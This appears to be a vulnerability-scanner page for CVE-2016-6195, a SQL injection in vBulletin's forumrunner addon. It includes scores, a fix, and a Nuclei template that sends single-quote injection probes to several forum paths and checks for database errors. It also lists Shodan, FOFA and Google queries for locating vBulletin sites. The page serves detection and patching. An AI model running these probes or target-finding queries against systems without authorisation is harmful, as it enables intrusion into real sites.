vBulletin <= 4.2.3 - SQL Injection

criticalseverity

9.8CVSS score

70.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.

Fix

Upgrade to a patched version of vBulletin (4.2.4 or later) or apply the official patch provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 ; GET {{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 ; GET {{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 ; GET {{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 ; GET {{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
Positive when: contains "type=dberror" AND status 200 or 503

Run it with nuclei: nuclei -id CVE-2016-6195 -u <target>

The full check

id: CVE-2016-6195

info:
  name: vBulletin <= 4.2.3 - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Upgrade to a patched version of vBulletin (4.2.4 or later) or apply the official patch provided by the vendor.
  reference:
    - https://www.cvedetails.com/cve/CVE-2016-6195/
    - https://www.exploit-db.com/exploits/38489
    - https://enumerated.wordpress.com/2016/07/11/1/
    - http://www.vbulletin.org/forum/showthread.php?t=322848
    - https://github.com/drewlong/vbully
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-6195
    cwe-id: CWE-89
    epss-score: 0.70914
    epss-percentile: 0.99406
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:patch_level_4:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 6
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - title:"Powered By vBulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - http.title:"powered by vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve2016,cve,vbulletin,sqli,forum,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"
      - "{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"
      - "{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"
      - "{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"
      - "{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"
      - "{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"

    stop-at-first-match: true
    host-redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "type=dberror"

      - type: status
        status:
          - 200
          - 503
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from